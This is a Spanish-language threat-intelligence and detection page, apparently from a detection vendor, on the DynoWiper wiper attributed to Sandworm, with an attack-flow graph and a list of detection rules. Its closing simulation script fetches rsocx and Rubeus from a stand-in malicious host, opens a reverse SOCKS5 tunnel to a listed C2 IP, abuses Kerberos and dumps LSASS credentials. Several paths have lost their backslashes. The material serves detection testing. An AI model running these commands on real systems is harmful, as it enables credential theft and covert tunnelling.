ESET Research DynoWiper actualización: Análisis técnico y atribución
Detection stack
- AIDR
- Alert
- ETL
- Query
Resumen
DynoWiper es un wiper destructivo utilizado contra una organización del sector energético en Polonia, afectando múltiples endpoints en las operaciones. Los ejecutables fueron almacenados en una ubicación de red compartida y lanzados directamente desde ese recurso. ESET atribuye la actividad a Sandworm con confianza media. Una vez ejecutado, el malware corrompe archivos específicos con bytes aleatorios y provoca un reinicio forzado para completar el impacto.
Investigación
ESET recuperó tres muestras: schtask.exe, schtask2.exe y _update.exe, que fueron descargadas en C:inetpubpub. Las rutas de PDB incrustadas sugieren que los binarios fueron compilados en un entorno Vagrant. La ingeniería inversa mostró un proceso de borrado en tres pasos, con dos variantes insertando una pausa de cinco segundos entre las fases. Los artefactos tras el compromiso también incluyeron la herramienta Kerberos Rubeus y un proxy SOCKS5 rsocx dentro de la red de la víctima.
Mitigación
ESET PROTECT en los sistemas de la víctima bloqueó las tres variantes, limitando el daño. Reduzca la exposición previniendo la creación no autorizada de tareas programadas y monitoreando escrituras inesperadas en directorios compartidos. Añada listas de permitidos de aplicaciones y prohíba la ejecución desde recursos compartidos de red siempre que sea posible.
Respuesta
Identifique y aísle los hosts que ejecuten schtask.exe, schtask2.exe o *_update.exe desde un recurso compartido. Preserve la evidencia volátil, revise las tareas programadas y rastros de despliegue de PowerShell, y elimine herramientas como Rubeus y rsocx. Complete una forensica completa y restaure los datos de copias de seguridad limpias verificadas.
graph TB %% Class definitions classDef technique fill:#ffcc99 classDef tool fill:#c2f0c2 classDef action fill:#99ccff classDef malware fill:#ffd699 %% Nodes action_ingress[«<b>Acción</b> – <b>T1105 Transferencia de Herramientas de Ingreso</b><br/><b>Descripción</b>: Se descargaron herramientas adicionales como Rubeus.exe y rsocx en el entorno comprometido.»] class action_ingress technique tool_rubeus[«<b>Herramienta</b> – <b>Nombre</b>: Rubeus.exe<br/><b>Descripción</b>: Realiza robo y abuso de credenciales Kerberos.»] class tool_rubeus tool tool_rsocx[«<b>Herramienta</b> – <b>Nombre</b>: rsocx<br/><b>Descripción</b>: Proxy SOCKS5 utilizado para retransmitir el tráfico de Comando y Control.»] class tool_rsocx tool action_cred_dump[«<b>Acción</b> – <b>T1003.001 Memoria LSASS</b><br/><b>Descripción</b>: Se volcó la memoria del proceso LSASS mediante el Administrador de tareas para obtener credenciales.»] class action_cred_dump technique action_powershell[«<b>Acción</b> – <b>T1059.001 PowerShell</b><br/><b>Descripción</b>: Se ejecutaron scripts de PowerShell para desplegar binarios maliciosos y facilitar acciones posteriores.»] class action_powershell technique action_cmd[«<b>Acción</b> – <b>T1059.003 Intérprete de Comandos de Windows</b><br/><b>Descripción</b>: Se utilizó cmd.exe para ejecutar comandos de shell y orquestar el limpiador de datos.»] class action_cmd technique action_gpo_discovery[«<b>Acción</b> – <b>T1615 Descubrimiento de Directivas de Grupo</b><br/><b>Descripción</b>: Se identificaron Objetos de Directiva de Grupo para preparar un despliegue a gran escala.»] class action_gpo_discovery technique action_gpo_modify[«<b>Acción</b> – <b>T1484 Modificación de Políticas de Dominio o Inquilino</b><br/><b>Descripción</b>: Se modificaron GPO para distribuir el binario DynoWiper en todo el dominio.»] class action_gpo_modify technique action_schtask[«<b>Acción</b> – <b>T1053 Trabajo de Tarea Programada</b><br/><b>Descripción</b>: Se crearon tareas programadas con schtask.exe para persistir la ejecución del limpiador.»] class action_schtask technique action_data_removable[«<b>Acción</b> – <b>T1025 Datos desde Medios Extraíbles</b><br/><b>Descripción</b>: Se colocaron herramientas y el limpiador en el directorio de red compartido C:\\inetpub\\pub\\.»] class action_data_removable technique action_file_discovery[«<b>Acción</b> – <b>T1083 Descubrimiento de Archivos y Directorios</b><br/><b>Descripción</b>: Se enumeraron archivos y directorios en unidades fijas y extraíbles excluyendo carpetas del sistema.»] class action_file_discovery technique action_wipe[«<b>Acción</b> – <b>T1561.001 Borrado del Contenido del Disco</b><br/><b>Descripción</b>: Se sobrescribió el contenido de los archivos con datos aleatorios eliminando o corrompiendo datos.»] class action_wipe technique action_reboot[«<b>Acción</b> – <b>T1529 Apagado o Reinicio del Sistema</b><br/><b>Descripción</b>: Se forzó el reinicio del sistema después del borrado para finalizar la destrucción.»] class action_reboot technique action_proxy[«<b>Acción</b> – <b>T1090.002 Proxy Externo</b><br/><b>Descripción</b>: Se configuró rsocx para utilizar el proxy SOCKS5 externo 31.172.71.5:8008 y ocultar el tráfico de Comando y Control.»] class action_proxy technique malware_dyno[«<b>Malware</b> – <b>Nombre</b>: DynoWiper<br/><b>Descripción</b>: Carga útil de borrado que sobrescribe datos y provoca el reinicio del sistema.»] class malware_dyno malware %% Connections action_ingress –>|descarga| tool_rubeus action_ingress –>|descarga| tool_rsocx tool_rubeus –>|habilita| action_cred_dump tool_rsocx –>|proporciona| action_proxy action_cred_dump –>|proporciona credenciales para| action_powershell action_powershell –>|ejecuta| action_cmd action_cmd –>|orquesta| action_wipe action_gpo_discovery –>|conduce a| action_gpo_modify action_gpo_modify –>|distribuye| malware_dyno action_schtask –>|crea tarea para| malware_dyno action_data_removable –>|almacena| tool_rubeus action_data_removable –>|almacena| tool_rsocx action_data_removable –>|almacena| malware_dyno malware_dyno –>|realiza| action_file_discovery malware_dyno –>|realiza| action_wipe action_wipe –>|activa| action_reboot action_proxy –>|retransmite tráfico para| malware_dyno
Flujo de Ataque
Detecciones
Operación Potencial de Auto-Eliminación de Malware o Ocultamiento de Stderr (vía cmdline)
Ver
Apagado Usado Para Forzar una Parada o Reinicio del Sistema (vía cmdline)
Ver
IOCs (HashSha1) para detectar: Actualización DynoWiper de ESET Research: Análisis técnico y atribución
Ver
IOCs (SourceIP) para detectar: Actualización DynoWiper de ESET Research: Análisis técnico y atribución
Ver
IOCs (DestinationIP) para detectar: Actualización DynoWiper de ESET Research: Análisis técnico y atribución
Ver
Detección de Despliegue de DynoWiper mediante Ejecución de Tarea Programada [Evento de Archivo de Windows]
Ver
Detección de Herramientas Maliciosas y Volcado de Memoria de LSASS [Creación de Proceso de Windows]
Ver
Ejecución de Simulación
Prerequisito: La verificación de Pre-vuelo de Telemetría y Línea Base debe haber sido aprobada.
Razonamiento: Esta sección detalla la ejecución precisa de la técnica adversaria (TTP) diseñada para activar la regla de detección. Los comandos y la narrativa DEBEN reflejar directamente los TTPs identificados y apuntar a generar la telemetría exacta esperada por la lógica de detección. Ejemplos abstractos o no relacionados llevarán a diagnósticos erróneos.
-
Narrativa de Ataque y Comandos:
- Establecer un proxy SOCKS5 inverso usando
rsocx.exe. El adversario descarga el binario de un servidor externo, lo coloca en%TEMP%, y lo ejecuta con el argumento-r 31.172.71.5:8008para crear un túnel reverso de vuelta al host C2. - Cometer abuso de tickets Kerberos con
rubeus.exe. La herramienta se ejecuta para solicitar un ticket de concesión de ticket Kerberos (TGT) para la cuenta de administrador de dominio y posteriormente falsificar un ticket de servicio (s4u2self). - Volcado de memoria de LSASS usando
procdump.exe(una alternativa común al Administrador de Tareas) para capturar material de credenciales. Sysmon registra un evento de Acceso a Proceso donde elprocdump.exeproceso del atacante accedea lsass.execon la máscara de acceso concedida0x1010(PROCESS_VM_READ | PROCESS_QUERY_INFORMATION)PROCESS_VM_READ | PROCESS_QUERY_INFORMATION).
- Establecer un proxy SOCKS5 inverso usando
-
Script de Prueba de Regresión:
# ------------------------------------------------------------- # Script de simulación – activa la regla Sigma para rsocx, rubeus, # y volcado de LSASS. Ejecutar con privilegios administrativos. # ------------------------------------------------------------- # 1. Implementa rsocx.exe (proxy SOCKS5 inverso) $rsocxPath = "$env:TEMPrsocx.exe" Invoke-WebRequest -Uri "http://malicious.example.com/rsocx.exe" -OutFile $rsocxPath Start-Process -FilePath $rsocxPath -ArgumentList "-r 31.172.71.5:8008" -WindowStyle Hidden # 2. Implementa rubeus.exe (abuso de Kerberos) $rubeusPath = "$env:TEMPrubeus.exe" Invoke-WebRequest -Uri "http://malicious.example.com/rubeus.exe" -OutFile $rubeusPath Start-Process -FilePath $rubeusPath -ArgumentList "dump /service:krbtgt" -WindowStyle Hidden # 3. Volcar LSASS usando procdump (requiere Sysinternals) $procdumpPath = "$env:TEMPprocdump.exe" Invoke-WebRequest -Uri "https://download.sysinternals.com/files/Procdump.zip" -OutFile "$env:TEMPprocdump.zip" Expand-Archive -Path "$env:TEMPprocdump.zip" -DestinationPath $env:TEMP -Force $procdumpExe = Get-ChildItem "$env:TEMP" -Recurse -Filter "procdump.exe" | Select-Object -First 1 if ($procdumpExe) { Copy-Item $procdumpExe.FullName $procdumpPath -Force Start-Process -FilePath $procdumpPath -ArgumentList "-ma lsass.exe $env:TEMPlsass.dmp" -Wait } Write-Host "Simulación completada. Verificar SIEM para alertas." -
Comandos de Limpieza:
# Termina cualquier proceso malicioso persistente Get-Process -Name "rsocx","rubeus","procdump" -ErrorAction SilentlyContinue | Stop-Process -Force # Elimina binarios y archivos de dump Remove-Item -Path "$env:TEMPrsocx.exe","$env:TEMPrubeus.exe","$env:TEMPprocdump.exe","$env:TEMPlsass.dmp" -Force -ErrorAction SilentlyContinue # Opcionalmente elimina directorios temporales de descarga Remove-Item -Path "$env:TEMPProcdump.zip","$env:TEMPprocdump" -Recurse -Force -ErrorAction SilentlyContinue Write-Host "Limpieza finalizada."